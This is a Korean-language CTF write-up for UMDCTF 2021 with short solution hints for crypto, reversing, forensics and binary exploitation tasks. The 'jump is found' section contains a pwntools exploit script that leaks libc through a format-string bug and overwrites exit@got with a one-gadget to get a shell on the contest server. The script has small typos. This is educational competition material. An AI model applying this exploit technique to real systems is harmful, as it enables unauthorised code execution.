본문 바로가기
CTF

[CTF] UMDCTF 2021 writeup

by snwo 2021. 4. 18.

Computer Troubles

1hAO$2)R0D2.8<u2)-m@1hAL#1h8Bs1hAL#2)-mB1h8LT2)-mC2*!R'2D[-D1hAUS1bgdA1hAL#2*!TT1hAUS2).$u1h8OR2)[@'1hARR2I\Hu1h8OR2)[@'1hAUS1c[L'1h8OR2*!TT1hARR2)-mC1hJU%2Dd=$               

 

base85 -> from hex -> base64 -> from hex / CyberChef 에 붙여넣으면, 어떤 인코딩인지 추측해준다.

 

To Be Xor Not To Be

hex 값 주는데, 문자화하고, { 이후로는 key (this is key!) 와 xor 하면 된다.

 

Painting Windows 

byte_140 ~ 을 각각 2로 나누고 0xf 과 xor 하면 된다.

 

Starbucks

online decompiler 로 .class 올려서 분석해보면

이렇게 함수 f3 에서 f2, f1 을 호출하는 것을 볼 수 있다. 

문자열을 반 갈라 바꾸고 i 를 붙여서 리턴하는데, 저걸 파이썬코드로 옮겨서 실행시켜보면 FLAG 나온다.

참고로 \u001d 는 유니코드고, \x1d 랑 비슷하다.

 

jump is easy

nx 가 꺼져있어 쉘코드 작성하고 bss 에 올려 리턴하는 rop 짜면 된다.

하지만 나는 그걸 모르고 leak 해서 system("/bin/sh") 호출했다.

 

jump not easy

get_flag 함수로 점프

 

jump not working

leak 하고 system("/bin/sh") 호출 ( jump is easy 조금 수정해서썼다 )

 

jump is found

gets 로 입력받아 strtol 함수로 숫자 판별해서 함수포인터 호출.

nptr 에서 heap overflow 이용해서 함수포인터 덮는건줄 알았는데, 

while 문 위에 memset 로 초기화해줘서 실패.

 

근데 밑에 s 를 dest 에 strncpy 해서 

dest 가 문자 없이 그냥 출력되므로, FSB 가 일어난다.

nptr, s 는 힙영역에 할당받는데, nptr 에서 0x110 이상 입력하면 s 영역 덮을 수 있어

dest 값 조작해 스택에있는 값 출력 가능하다. (dest 는 배열)

 

__libc_start_main_ret ( main 함수의 리턴주소 ) leak 하고,

마지막 1.5 바이트를 libcdatabase 에서 찾아 라이브러리파일 다운받고,

원샷가젯을 구한 뒤, 2바이트씩 exit@got 을 덮으면 된다.

하지만 strcpy 함수에서는, \x00 에서 끊기므로,

FSBpayload+exit@got+exit@got+2+exit@got+4 

이렇게 쓸 수 없다.

하지만, exit 함수는printf 함수를 덮는것과 달리, 

반복문이 3번 도는동안 값이 변경되어도 실행에 영향을 미치는 함수가 아니므로,

FSBpayload 를 3번 보내 exit 함수를 완전히 덮고, 4를 전송해서 쉘을 딸 수 있다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
r=remote("chals5.umdctf.io"7002)
#r=process("./JIF")
b=ELF("./JIF")
system=0x04f550
binsh=0x1b3e1a
context.log_level='debug'
pay=b'x'*0x110
pay+=b"%51$p"   #libc_start_main_ret leak
r.sendline(pay)
r.recvuntil(": ")
base=int(r.recvline().strip(),16)-0x021bf7
print(hex(base))
system+=base
binsh+=base
one=[0x4f3d5,0x4f432,0x10a41c]
 
for i in range(3):
    one[i]+=base
one_gadget_low = one[2& 0xffff
one_gadget_middle = (one[2>> 16& 0xffff
one_gadget_high = (one[2>> 32& 0xffff
 
py2 = b'x'*0x110
py2 += '%{}c'.format(one_gdaget_low).encode()
py2 += '%22$hn'.encode()
py2 = py2.ljust(0x110+48,b'A')
py2 +=p64(b.got['exit'])
 
py3 = b'x'*0x110
py3 += '%{}c'.format(one_gadget_middle).encode()
py3 += '%22$hn'.encode()
py3 = py3.ljust(0x110+48,b'A')
py3 +=p64(b.got['exit']+2)
 
py4 = b'x'*0x110
py4 += '%{}c'.format(one_gadget_high).encode()
py4 += '%22$hn'.encode()
py4= py4.ljust(0x110+48,b'A')
py4 +=p64(b.got['exit']+4)
 
r.sendline(py2)
r.sendline(py3)
r.sendline(py4)
r.sendline(str(4))
r.interactive()
cs

 

함수포인터 덮으려다가 맨탈나가서 코드가 좀 더럽다.

 

Pretty Dumb File

binwalk 로 보세요

 

Testudo's Pizza

파일뒤에 공간있어요

 

Magic

stegsolve 에 stereogram solver 이용하면, offset 100 넘어서 좀 넘기다보면 flag 나온다

 

Traveling

구글렌즈 짱!

 

Jay1

5초 안에 최대수열합과 시작인덱스, 끝 인덱스를 전송하면 된다.

www.geeksforgeeks.org/largest-sum-contiguous-subarray/

소수코드긁어왔당

 

Jay2

마찬가지로 소수코드 긁어왔따. 분석귀찮

www.geeksforgeeks.org/maximum-sum-rectangle-in-a-2d-matrix-dp-27/